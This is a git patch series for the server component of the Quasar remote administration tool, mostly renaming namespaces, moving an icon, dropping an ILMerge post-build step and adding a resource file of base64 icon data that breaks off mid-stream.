a/Quasar.Server/Forms/FrmVisitWebsite.cs b/Quasar.Server/Forms/FrmVisitWebsite.cs index f65174fb9..3831bec03 100644 --- a/Quasar.Server/Forms/FrmVisitWebsite.cs +++ b/Quasar.Server/Forms/FrmVisitWebsite.cs @@ -1,8 +1,8 @@ using System; using System.Windows.Forms; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmVisitWebsite : Form { diff --git a/Quasar.Server/Models/FileTransfer.cs b/Quasar.Server/Models/FileTransfer.cs index 5b206a2be..41bc859c6 100644 --- a/Quasar.Server/Models/FileTransfer.cs +++ b/Quasar.Server/Models/FileTransfer.cs @@ -1,7 +1,7 @@ using System; -using xServer.Enums; +using Quasar.Server.Enums; -namespace xServer.Models +namespace Quasar.Server.Models { public class FileTransfer : IEquatable { diff --git a/Quasar.Server/Program.cs b/Quasar.Server/Program.cs index 7c679c070..928cc56b2 100644 --- a/Quasar.Server/Program.cs +++ b/Quasar.Server/Program.cs @@ -1,8 +1,8 @@ using System; using System.Windows.Forms; -using xServer.Forms; +using Quasar.Server.Forms; -namespace xServer +namespace Quasar.Server { internal static class Program { @@ -14,4 +14,4 @@ private static void Main() Application.Run(new FrmMain()); } } -} \ No newline at end of file +} diff --git a/Quasar.Server/Properties/Resources.Designer.cs b/Quasar.Server/Properties/Resources.Designer.cs index c2e984d29..d4bf09e93 100644 --- a/Quasar.Server/Properties/Resources.Designer.cs +++ b/Quasar.Server/Properties/Resources.Designer.cs @@ -8,7 +8,7 @@ // //------------------------------------------------------------------------------ -namespace xServer.Properties { +namespace Quasar.Server.Properties { using System; @@ -39,7 +39,7 @@ internal Resources() { internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("xServer.Properties.Resources", typeof(Resources).Assembly); + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Server.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; diff --git a/Quasar.Server/Properties/Settings.Designer.cs b/Quasar.Server/Properties/Settings.Designer.cs index c1f33897b..7c0673111 100644 --- a/Quasar.Server/Properties/Settings.Designer.cs +++ b/Quasar.Server/Properties/Settings.Designer.cs @@ -1,18 +1,18 @@ //------------------------------------------------------------------------------ // -// Dieser Code wurde von einem Tool generiert. -// Laufzeitversion:4.0.30319.42000 +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // -// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn -// der Code erneut generiert wird. +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. // //------------------------------------------------------------------------------ -namespace xServer.Properties { +namespace Quasar.Server.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index d0f8406c7..2a3eb3a81 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -8,18 +8,18 @@ {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D} WinExe Properties - xServer + Quasar.Server Quasar v4.0 512 Client - xServer.Program + Quasar.Server.Program - Quasar_Server.ico + icons\Quasar_Server.ico app.manifest @@ -111,18 +111,18 @@ WordTextBox.cs - - - - - - - - - - - - + + + + + + + + + + + + @@ -414,9 +414,6 @@ True - - - {c7c363ba-e5b6-4e18-9224-39bc8da73172} diff --git a/Quasar.Server/Quasar_Server.ico b/Quasar.Server/icons/Quasar_Server.ico similarity index 100% rename from Quasar.Server/Quasar_Server.ico rename to Quasar.Server/icons/Quasar_Server.ico From a2e97672a5cdb83b66df70d82bfc2141a36bfd8d Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 27 Sep 2018 10:06:25 +0200 Subject: [PATCH 136/229] Remove post-build event from Server --- Quasar.Server/Quasar.Server.csproj | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index 2a3eb3a81..cf51efbee 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -423,7 +423,8 @@ - "$(SolutionDir)packages\ILMerge.2.14.1208\tools\ILMerge.exe" /out:"$(TargetDir)$(TargetName).all.exe" "$(TargetPath)" "$(TargetDir)*.dll" /target:WinExe /wildcards /internalize + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + 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 + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/MyMc/4R0bf/XxsD/zr63/5eHgf9XR0L/OSoj/0Q1MP9cTEb/cmFa/3xu + aP/DvLn///////7+/v///////v7+////////////7ufk/9TFvv/Xx8D/jX12/ygYEf+BcWr/2cnC/829 + t//aysP/no6H/zkpIv8zIxz/Nycg/zgoIf84KCH/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/NSUe/zwsJf+Whn//3s7H/93Nxv/Lu7T/qZmS/4x8 + 